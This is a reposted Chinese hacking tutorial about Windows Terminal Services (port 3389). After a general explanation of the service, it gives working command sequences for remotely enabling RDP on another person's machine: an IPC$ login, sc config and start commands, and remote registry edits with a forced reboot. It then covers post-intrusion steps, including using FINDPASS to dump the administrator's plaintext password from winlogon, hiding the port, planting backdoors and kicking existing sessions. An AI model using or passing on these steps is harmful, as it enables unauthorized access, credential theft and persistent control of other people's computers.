一，引言?
WIN系統NT版本以上提供了一項特殊的服務—終端服務，在網絡上熟成3389服務，有些讀者肯定會說：不就是3389輸入法漏洞嗎？都知道啊，這句話是大錯特錯，3389不是輸入法漏洞，3389并不一定是有輸入法漏洞,它是windows的一個正常的服務而已,只是沒有打上補丁的而開的3389(終端服務)端口,可以利用輸入法漏洞來***,但是現在這種漏洞已經很少了.但真正全面了解終端服務的卻是少之又少，這里我將帶大家全面的了解，使大家在網絡安全方面掃平一個障礙。? 二，終端服務的概念?
終端服務概述? 終端服務提供了通過作為終端仿真器工作的“瘦客戶機”軟件遠程訪問服務器桌面的能力。終端服務只把該程序的用戶界面傳給客戶機。客戶機然后返回鍵盤和鼠標單擊動作，以便由服務器處理。每個用戶都只能登錄并看到它們自己的會話，這些會話由服務器操作系統透明地進行管理，而且與任何其他客戶機會話無關。客戶軟件可以運行在多個客戶機硬件設備上，包括計算機和基于 Windows 的終端。其他設備，如 Macintosh 計算機或基于 UNIX 的工作站，也可以使用其他第三方的軟件連接到終端服務器。? 終端服務可以在應用服務器模式或遠程管理模式下在服務器上進行配置。作為應用服務器，終端服務提供了一種有效而可靠的方式，通過網絡服務器分發基于 Windows 的程序。在應用服務器模式下，終端服務為可能無法正常運行 Windows 的計算機顯示 Windows 2000 的桌面以及目前基于 Windows 的大多數應用程序。在遠程管理模式下使用時，終端服務提供了遠程訪問的能力，使您可以從網絡上的任何地方虛擬地管理您的服務器。? 終端服務有以下好處：? 更快地顯示 Windows 2000 的桌面。終端服務架設了一座從舊式桌面遷移到 Windows 2000 Professional 的橋梁，為非計算機桌面以及需要進行硬件升級才能在本地完全運行 Windows 2000 操作系統的計算機提供了一種虛擬的 Windows 2000 桌面環境。終端服務客戶可用于多種不同的桌面平臺，包括 MS-DOS、基于 Windows 的終端、Macintosh 和 UNIX。（與 MS-DOS、Macintosh 和基于 UNIX 的計算機的連接需要附加的軟件）。?
充分利用已有的硬件。終端服務擴展了分布式計算模型，允許計算機同時作為瘦客戶機和具有完整功能的個人計算機操作。當計算機在現有的網絡上時，可以繼續使用，同時也可作為能仿真 Windows 2000 Professional 桌面的瘦客戶機使用。?
程序的集中配置。使用運行在 Windows 2000 Server 上的終端服務，所有程序的執行、數據的處理以及數據的存儲都在服務器上進行，程序得以集中配置。終端服務可確保所有客戶機都能訪問當前版本的程序。軟件只能在服務器上安裝一次，而不能安裝在您單位的每個桌面上，這樣可減少單獨更新計算機所花費的成本。?
遠程管理。終端服務提供了對 Windows 2000 Server 的遠程管理，為系統管理員提供了從任何客戶機通過廣域網或撥號連接遠程管理其服務器的一種方法? ***為什么喜歡終端服務：?
主要是終端服務有3個特性：?
易于使用?
可管理性?
安全性?
這3個特性決定了它在網絡界的地位，它比任何一個***的動能都強大，因為有了它，你就等于完全控制了對方的機子一樣，可以完全在上面完成本機完成的一切***任務。（只要你的網速夠快）?
但是這里還是要不厭其煩的聲明一次：3389只是個服務，不是什么漏洞，你掃到了3389端口并不代表你就可以***它，只能說明對方開了終端服務。? 三，關于開啟終端服務?
利用工具開3389，我就不想多說了，這樣開沒多大技術性，這里我主要介紹不用任何工具開3389的兩種方法。?
1，利用SC開啟對方終端服務? 首先先辨別對方是不是2000SERVER，可以用小容CCA炊苑降撓沒В綣蠺sInternetUser這個用戶，9成為SERVER，? C:\>cca \\192.168.0.29 dudu dancewithsnow? Check Clone Account, by netXeyes 2002/04/29?
Written by netXeyes 2002, [email]dansnow@21cn.com[/email]? Connect 192.168.0.29 ....OK?
Prepairing ....OK?
Processing ....OK?
Checking ....? Check Result:? [DuDu] AS SAME AS [administrator]?
[Guest] AS SAME AS [administrator]?
[IUSR_RONG] AS SAME AS [administrator]?
[IWAM_RONG] AS SAME AS [administrator]?
[TEST] AS SAME AS [administrator]?
[xr] AS SAME AS [administrator]? 很明顯這個不是SERVER，接著看使例：? C:\>net use \\xxx.xxx.xxx.xxx\ipc$Content$nbsp;"password" /user:"name"? 第一步，檢查對方是否真的禁用了Terminal server? C:\>sc \\xxx.xxx.xxx.xxx qc termservice?
[SC] GetServiceConfig SUCCESS? SERVICE_NAME: termservice?
TYPE : 10 WIN32_OWN_PROCESS?
START_TYPE : 4 DISABLED?
ERROR_CONTROL : 1 NORMAL?
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe?
LOAD_ORDER_GROUP :?
TAG : 0?
DISPLAY_NAME : Terminal Services?
DEPENDENCIES :?
SERVICE_START_NAME : LocalSystem? 仔細看 START_TYPE一項，顯示對方該服務的啟動模式為“DISABLED”也就是“禁用”。? 第二步，更改對方終端服務的啟動模式? C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto? [SC] ChangeServiceConfig SUCCESS? 好了，現在我們已經把對方終端服務的啟動模式修改成自動了。? 第三步，再檢查一便對方終端服務的啟動模式? C:\>sc \\TEST qc termservice?
[SC] GetServiceConfig SUCCESS? SERVICE_NAME: termservice?
TYPE : 10 WIN32_OWN_PROCESS?
START_TYPE : 2 AUTO_START?
ERROR_CONTROL : 1 NORMAL?
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe?
LOAD_ORDER_GROUP :?
TAG : 0?
DISPLAY_NAME : Terminal Services?
DEPENDENCIES :?
SERVICE_START_NAME : LocalSystem? 仔細看 START_TYPE一項，顯示對方該服務的啟動模式為“AUTO_START”也就是“自動”。? OK?
第四步，啟動對方的終端服務? C:\>sc \\xxx.xxx.xxx.xxx start termservice? SERVICE_NAME: termservice?
TYPE : 10 WIN32_OWN_PROCESS?
STATE : 2 START_PENDING?
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)?
WIN32_EXIT_CODE : 0 (0x0)?
SERVICE_EXIT_CODE : 0 (0x0)?
CHECKPOINT : 0x1?
WAIT_HINT : 0x7530? C:\>sc \\xxx.xxx.xxx.xxx query termservice? SERVICE_NAME: termservice?
TYPE : 10 WIN32_OWN_PROCESS?
STATE : 4 RUNNING?
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)?
WIN32_EXIT_CODE : 0 (0x0)?
SERVICE_EXIT_CODE : 0 (0x0)?
CHECKPOINT : 0x0?
WAIT_HINT : 0x0?
到這里，對方的3389就在命令行下被啟動了。 2，用遠程修改注冊表?
首先打開注冊表，注冊表—連接網絡注冊表（前提是先跟對方建立空連接）找到并改為下列的值，?
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]?
"Enabled"="0"? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]?
"ShutdownWithoutLogon"="0"? [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]?
"EnableAdminTSRemote"=dword:00000001? [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]?
"TSEnabled"=dword:00000001? [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]?
"Start"=dword:00000002? [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]?
"Start"=dword:00000002? [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]?
"Hotkey"="1"? 接著輸入：?
shutdown \\xxx.xxx.xxx.xxx -r?
對方重起后，3389服務就開了。? 四，進入后該做的事?
1，首先是改3389端口了，修改服務器端的端口設置,注冊表有2個地方需要修改?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]?
PortNumber值，默認是3389，修改成所希望的端口，比如6000?
第二個地方：?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]　?
PortNumber值，默認是3389，修改成所希望的端口，比如6000?
現在這樣就可以了。重啟系統就可以了.?
注意：事實上，只修改第二處也是可以的。另外，第二處的標準聯結應該是?
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\?
表示具體的某個RDP-TCP連結。?
也可以下載這個小程序更改 [url]http://www.haowawa.com/down.c3389.zip[/url]?
格式為?
c3389 port?
改完以后重起就生效了，這時在登陸器里IP:你改的端口，就可以登陸了。? 2，得到一個安全帳號，什么帳號最安全？當然是管理員的帳號，這里可以用FINDPASS和牛族NT/2000/XP密碼大盜，由于后者我已經多次講過，所以這次我講講怎么用FINDPASS得到管理員帳號，到小鳳居下載后，包里會有兩個文件：findpass和pulist這兩個文件，很明顯這兩個文件要一起用。?
首先運行PULIST，找到winlogon.exe后面的PID的值，這里為204，記下來，再找到administrator所在的域，這里為SHUANGFENG\Administrator，接著運行findpass,格式為：?
findpass 機器名稱 用戶名稱 WinLogon的PID?
我們就輸入：findpass shuangfeng administrator 204?
回車后，找到這一行? The logon information is: SHUANGFENG/Administrator/5201314? 5201314就是密碼了? 3，留后門，網上后門多種多樣，可以供大家自由選擇，但切記一條：槍打出頭鳥，最流行的后門也是最容易被殺的后門，關于怎么隱藏后門和留什么樣的后門請大家看下期的***在線，我會專門講解。? 附錄：?
1，超出最大連接數的解決辦法：?
首先你可以telnet到此主機上(不管你用哪種方法)?
上去后,先看登陸的用戶:?
c:\tools>query user?
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME?
>w1 console 0 運行中 . 2002-1-19 2:37?
w1 1 已斷開 無2002-1-19 3:14? //你看到的可能是兩個以上的ＲＤＰ連接,在這里只是給大家個演示.?
看到嗎? ID 0 的用戶是本地登陸的,ID 1 是3389登陸的,已經斷開了,就把它踢掉,? C:\>logoff 1? C:\>query user //再看看?
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME?
>w1 console 0 運行中 . 2002-1-19 2:37? //沒了!就可上了!? 2，3389中的快捷鍵：?
CTRL+ALT+END 打開“Windows 安全”對話框。?
ALT+PAGE UP 從左向右在程序之間切換。?
ALT+PAGE DOWN 從右向左在程序之間切換。?
ALT+INSERT 按啟動順序來回切換程序。?
ALT+HOME 顯示“開始”菜單。?
CTRL+ALT+BREAK 在窗口（如果適用）和全屏顯示之間切換客戶端。?
ALT+DELETE 顯示窗口的彈出式菜單。?
CTRL+ALT+減號 (-) 將客戶端活動窗口的快照放在“終端”服務器的剪貼板上（與在本地計算機上按下 ALT+PrintScrn 鍵時的功能相同）。?
CTRL+ALT+加號 (+) 將整個客戶端窗口區域的快照放在“終端”服務器的剪貼板上（與在本地計算機上按下 PrintScrn 鍵時的功能相同）。?
注意:?
在NEC98 計算機中，這些快捷鍵在以下兩種情況下會有些不同：?
CTRL+ALT+BREAK由 F12 鍵代替。?
CTRL+ALT+END 由 F15 鍵代替。

轉載于:https://blog.51cto.com/hanbing/62508

創作挑戰賽新人創作獎勵來咯，堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的3389端口远程终端服务的全攻略的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。